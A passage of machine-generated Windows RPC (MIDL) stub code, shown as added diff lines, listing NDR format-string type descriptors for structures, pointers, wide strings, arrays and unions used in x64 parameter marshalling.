NdrFcShort( 0x26 ), /* Offset= 38 (2862) */ +/* 2826 */ + 0x1d, /* FC_SMFARRAY */ + 0x0, /* 0 */ +/* 2828 */ NdrFcShort( 0x20 ), /* 32 */ +/* 2830 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 2832 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2834 */ NdrFcShort( 0x60 ), /* 96 */ +/* 2836 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2838 */ NdrFcShort( 0x14 ), /* Offset= 20 (2858) */ +/* 2840 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2842 */ NdrFcShort( 0xffc0 ), /* Offset= -64 (2778) */ +/* 2844 */ 0x36, /* FC_POINTER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 2846 */ 0x0, /* 0 */ + NdrFcShort( 0xf4f1 ), /* Offset= -2831 (16) */ + 0x8, /* FC_LONG */ +/* 2850 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 2852 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2854 */ NdrFcShort( 0xffe4 ), /* Offset= -28 (2826) */ +/* 2856 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 2858 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2860 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2862 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2864 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2866 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2868 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2870 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2872 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2876 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2878 */ + 0x12, 0x0, /* FC_UP */ +/* 2880 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (2832) */ +/* 2882 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2884 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2886 */ NdrFcShort( 0x2 ), /* Offset= 2 (2888) */ +/* 2888 */ + 0x12, 0x0, /* FC_UP */ +/* 2890 */ NdrFcShort( 0x2 ), /* Offset= 2 (2892) */ +/* 2892 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2894 */ NdrFcShort( 0x8 ), /* 8 */ +/* 2896 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2898 */ NdrFcShort( 0x4 ), /* Offset= 4 (2902) */ +/* 2900 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 2902 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2904 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2906 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2908 */ NdrFcShort( 0x2 ), /* Offset= 2 (2910) */ +/* 2910 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2912 */ NdrFcShort( 0x18 ), /* Offset= 24 (2936) */ +/* 2914 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2916 */ NdrFcShort( 0x18 ), /* 24 */ +/* 2918 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2920 */ NdrFcShort( 0x8 ), /* Offset= 8 (2928) */ +/* 2922 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2924 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2926 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2928 */ + 0x12, 0x0, /* FC_UP */ +/* 2930 */ NdrFcShort( 0xff9e ), /* Offset= -98 (2832) */ +/* 2932 */ + 0x12, 0x0, /* FC_UP */ +/* 2934 */ NdrFcShort( 0xff2a ), /* Offset= -214 (2720) */ +/* 2936 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2938 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2940 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2942 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2944 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2946 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2950 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2952 */ + 0x12, 0x0, /* FC_UP */ +/* 2954 */ NdrFcShort( 0xffd8 ), /* Offset= -40 (2914) */ +/* 2956 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2958 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 2960 */ NdrFcShort( 0x2 ), /* Offset= 2 (2962) */ +/* 2962 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 2964 */ NdrFcShort( 0xc ), /* 12 */ +/* 2966 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 2968 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 2970 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2972 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2974 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2976 */ NdrFcShort( 0x2 ), /* Offset= 2 (2978) */ +/* 2978 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2980 */ NdrFcShort( 0x54 ), /* Offset= 84 (3064) */ +/* 2982 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2984 */ NdrFcShort( 0x98 ), /* 152 */ +/* 2986 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2988 */ NdrFcShort( 0x1c ), /* Offset= 28 (3016) */ +/* 2990 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2992 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2994 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2996 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2998 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3000 */ 0x36, /* FC_POINTER */ + 0xb, /* FC_HYPER */ +/* 3002 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3004 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 3006 */ 0x8, /* FC_LONG */ + 0x36, /* FC_POINTER */ +/* 3008 */ 0x36, /* FC_POINTER */ + 0x6, /* FC_SHORT */ +/* 3010 */ 0x6, /* FC_SHORT */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3012 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 3014 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 3016 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3018 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3020 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3022 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3024 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3026 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3028 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3030 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3032 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3034 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3036 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3038 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3040 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3042 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3044 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3046 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3048 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3050 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3052 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3054 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3056 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3058 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3060 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3062 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3064 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 3066 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3068 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 3070 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3072 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3074 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 3078 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 3080 */ + 0x12, 0x0, /* FC_UP */ +/* 3082 */ NdrFcShort( 0xff9c ), /* Offset= -100 (2982) */ +/* 3084 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3086 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3088 */ NdrFcShort( 0x2 ), /* Offset= 2 (3090) */ +/* 3090 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 3092 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3094 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 3096 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3098 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3100 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 3104 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 3106 */ + 0x12, 0x0, /* FC_UP */ +/* 3108 */ NdrFcShort( 0xff82 ), /* Offset= -126 (2982) */ +/* 3110 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3112 */ + 0x11, 0x0, /* FC_RP */ +/* 3114 */ NdrFcShort( 0x44 ), /* Offset= 68 (3182) */ +/* 3116 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 3118 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 3120 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 3122 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3124 */ NdrFcShort( 0x2 ), /* Offset= 2 (3126) */ +/* 3126 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3128 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3130 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3134 */ NdrFcShort( 0x4 ), /* Offset= 4 (3138) */ +/* 3136 */ NdrFcShort( 0xffff ), /* Offset= -1 (3135) */ +/* 3138 */ + 0x12, 0x0, /* FC_UP */ +/* 3140 */ NdrFcShort( 0x18 ), /* Offset= 24 (3164) */ +/* 3142 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 3144 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3146 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 3148 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3150 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3152 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 3156 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 3158 */ + 0x12, 0x0, /* FC_UP */ +/* 3160 */ NdrFcShort( 0xf584 ), /* Offset= -2684 (476) */ +/* 3162 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3164 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 3166 */ NdrFcShort( 0x18 ), /* 24 */ +/* 3168 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3170 */ NdrFcShort( 0x8 ), /* Offset= 8 (3178) */ +/* 3172 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 3174 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 3176 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3178 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3180 */ NdrFcShort( 0xffda ), /* Offset= -38 (3142) */ +/* 3182 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3184 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3186 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3188 */ NdrFcShort( 0x0 ), /* Offset= 0 (3188) */ +/* 3190 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3192 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3194 */ NdrFcShort( 0xffb2 ), /* Offset= -78 (3116) */ +/* 3196 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3198 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3200 */ NdrFcShort( 0x2 ), /* Offset= 2 (3202) */ +/* 3202 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 3204 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3206 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 3208 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3210 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3212 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 3214 */ + 0x11, 0xc, /* FC_RP [alloced_on_stack] [simple_pointer] */ +/* 3216 */ 0xb, /* FC_HYPER */ + 0x5c, /* FC_PAD */ +/* 3218 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 3220 */ NdrFcShort( 0x2 ), /* Offset= 2 (3222) */ +/* 3222 */ + 0x12, 0x0, /* FC_UP */ +/* 3224 */ NdrFcShort( 0x18 ), /* Offset= 24 (3248) */ +/* 3226 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 3228 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 3230 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 3232 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3234 */ NdrFcShort( 0x2 ), /* Offset= 2 (3236) */ +/* 3236 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3238 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3240 */ NdrFcLong( 0x1 ), /* 1 */ +/* 3244 */ NdrFcShort( 0xf590 ), /* Offset= -2672 (572) */ +/* 3246 */ NdrFcShort( 0xffff ), /* Offset= -1 (3245) */ +/* 3248 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3250 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3252 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3254 */ NdrFcShort( 0x0 ), /* Offset= 0 (3254) */ +/* 3256 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3258 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3260 */ NdrFcShort( 0xffde ), /* Offset= -34 (3226) */ +/* 3262 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3264 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3266 */ NdrFcShort( 0x2 ), /* Offset= 2 (3268) */ +/* 3268 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 3270 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3272 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 3274 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3276 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 3278 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 3282 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 3284 */ + 0x12, 0x0, /* FC_UP */ +/* 3286 */ NdrFcShort( 0xfed0 ), /* Offset= -304 (2982) */ +/* 3288 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3290 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 3292 */ NdrFcShort( 0x2 ), /* Offset= 2 (3294) */ +/* 3294 */ + 0x12, 0x0, /* FC_UP */ +/* 3296 */ NdrFcShort( 0x62 ), /* Offset= 98 (3394) */ +/* 3298 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 3300 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 3302 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 3304 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3306 */ NdrFcShort( 0x2 ), /* Offset= 2 (3308) */ +/* 3308 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3310 */ NdrFcShort( 0x3 ), /* 3 */ +/* 3312 */ NdrFcLong( 0x1 ), /* 1 */ +/* 3316 */ NdrFcShort( 0x10 ), /* Offset= 16 (3332) */ +/* 3318 */ NdrFcLong( 0x2 ), /* 2 */ +/* 3322 */ NdrFcShort( 0x1e ), /* Offset= 30 (3352) */ +/* 3324 */ NdrFcLong( 0x3 ), /* 3 */ +/* 3328 */ NdrFcShort( 0x2c ), /* Offset= 44 (3372) */ +/* 3330 */ NdrFcShort( 0xffff ), /* Offset= -1 (3329) */ +/* 3332 */ + 0x12, 0x0, /* FC_UP */ +/* 3334 */ NdrFcShort( 0x2 ), /* Offset= 2 (3336) */ +/* 3336 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 3338 */ NdrFcShort( 0x20 ), /* 32 */ +/* 3340 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3342 */ NdrFcShort( 0x0 ), /* Offset= 0 (3342) */ +/* 3344 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3346 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 3348 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3350 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3352 */ + 0x12, 0x0, /* FC_UP */ +/* 3354 */ NdrFcShort( 0x2 ), /* Offset= 2 (3356) */ +/* 3356 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3358 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3360 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3362 */ NdrFcShort( 0x6 ), /* Offset= 6 (3368) */ +/* 3364 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 3366 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 3368 */ + 0x12, 0x0, /* FC_UP */ +/* 3370 */ NdrFcShort( 0xffde ), /* Offset= -34 (3336) */ +/* 3372 */ + 0x12, 0x0, /* FC_UP */ +/* 3374 */ NdrFcShort( 0x2 ), /* Offset= 2 (3376) */ +/* 3376 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 3378 */ NdrFcShort( 0x18 ), /* 24 */ +/* 3380 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3382 */ NdrFcShort( 0x8 ), /* Offset= 8 (3390) */ +/* 3384 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 3386 */ 0x40, /* FC_STRUCTPAD4 */ + 0xb, /* FC_HYPER */ +/* 3388 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3390 */ + 0x12, 0x0, /* FC_UP */ +/* 3392 */ NdrFcShort( 0xffdc ), /* Offset= -36 (3356) */ +/* 3394 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3396 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3398 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3400 */ NdrFcShort( 0x0 ), /* Offset= 0 (3400) */ +/* 3402 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3404 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3406 */ NdrFcShort( 0xff94 ), /* Offset= -108 (3298) */ +/* 3408 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3410 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3412 */ 0x8, /* FC_LONG */ + 0x5c, /* FC_PAD */ +/* 3414 */ + 0x12, 0x0, /* FC_UP */ +/* 3416 */ NdrFcShort( 0x2 ), /* Offset= 2 (3418) */ +/* 3418 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3420 */ NdrFcShort( 0x18 ), /* 24 */ +/* 3422 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3424 */ NdrFcShort( 0x8 ), /* Offset= 8 (3432) */ +/* 3426 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3428 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3430 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3432 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3434 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3436 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3438 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3440 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3442 */ NdrFcShort( 0x2 ), /* Offset= 2 (3444) */ +/* 3444 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 3446 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3448 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 3450 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3452 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3454 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 3458 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 3460 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3462 */ NdrFcShort( 0xf2f8 ), /* Offset= -3336 (126) */ +/* 3464 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3466 */ + 0x11, 0x0, /* FC_RP */ +/* 3468 */ NdrFcShort( 0xffce ), /* Offset= -50 (3418) */ +/* 3470 */ + 0x12, 0x0, /* FC_UP */ +/* 3472 */ NdrFcShort( 0x2 ), /* Offset= 2 (3474) */ +/* 3474 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3476 */ NdrFcShort( 0x20 ), /* 32 */ +/* 3478 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3480 */ NdrFcShort( 0x8 ), /* Offset= 8 (3488) */ +/* 3482 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3484 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3486 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 3488 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3490 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3492 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3494 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3496 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3498 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3500 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 3502 */ NdrFcShort( 0xfdec ), /* Offset= -532 (2970) */ +/* 3504 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 3506 */ NdrFcShort( 0x2 ), /* Offset= 2 (3508) */ +/* 3508 */ + 0x12, 0x0, /* FC_UP */ +/* 3510 */ NdrFcShort( 0x2a ), /* Offset= 42 (3552) */ +/* 3512 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 3514 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 3516 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 3518 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3520 */ NdrFcShort( 0x2 ), /* Offset= 2 (3522) */ +/* 3522 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3524 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3526 */ NdrFcLong( 0x1 ), /* 1 */ +/* 3530 */ NdrFcShort( 0x4 ), /* Offset= 4 (3534) */ +/* 3532 */ NdrFcShort( 0xffff ), /* Offset= -1 (3531) */ +/* 3534 */ + 0x12, 0x0, /* FC_UP */ +/* 3536 */ NdrFcShort( 0x2 ), /* Offset= 2 (3538) */ +/* 3538 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 3540 */ NdrFcShort( 0x18 ), /* 24 */ +/* 3542 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3544 */ NdrFcShort( 0x0 ), /* Offset= 0 (3544) */ +/* 3546 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3548 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3550 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 3552 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3554 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3556 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3558 */ NdrFcShort( 0x0 ), /* Offset= 0 (3558) */ +/* 3560 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3562 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3564 */ NdrFcShort( 0xffcc ), /* Offset= -52 (3512) */ +/* 3566 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3568 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 3570 */ NdrFcShort( 0x2 ), /* Offset= 2 (3572) */ +/* 3572 */ + 0x12, 0x0, /* FC_UP */ +/* 3574 */ NdrFcShort( 0xb2 ), /* Offset= 178 (3752) */ +/* 3576 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 3578 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 3580 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 3582 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3584 */ NdrFcShort( 0x2 ), /* Offset= 2 (3586) */ +/* 3586 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3588 */ NdrFcShort( 0x5 ), /* 5 */ +/* 3590 */ NdrFcLong( 0x1 ), /* 1 */ +/* 3594 */ NdrFcShort( 0x1c ), /* Offset= 28 (3622) */ +/* 3596 */ NdrFcLong( 0x2 ), /* 2 */ +/* 3600 */ NdrFcShort( 0x38 ), /* Offset= 56 (3656) */ +/* 3602 */ NdrFcLong( 0x3 ), /* 3 */ +/* 3606 */ NdrFcShort( 0x46 ), /* Offset= 70 (3676) */ +/* 3608 */ NdrFcLong( 0x4 ), /* 4 */ +/* 3612 */ NdrFcShort( 0x54 ), /* Offset= 84 (3696) */ +/* 3614 */ NdrFcLong( 0x5 ), /* 5 */ +/* 3618 */ NdrFcShort( 0x72 ), /* Offset= 114 (3732) */ +/* 3620 */ NdrFcShort( 0xffff ), /* Offset= -1 (3619) */ +/* 3622 */ + 0x12, 0x0, /* FC_UP */ +/* 3624 */ NdrFcShort( 0xe ), /* Offset= 14 (3638) */ +/* 3626 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 3628 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3630 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 3632 */ 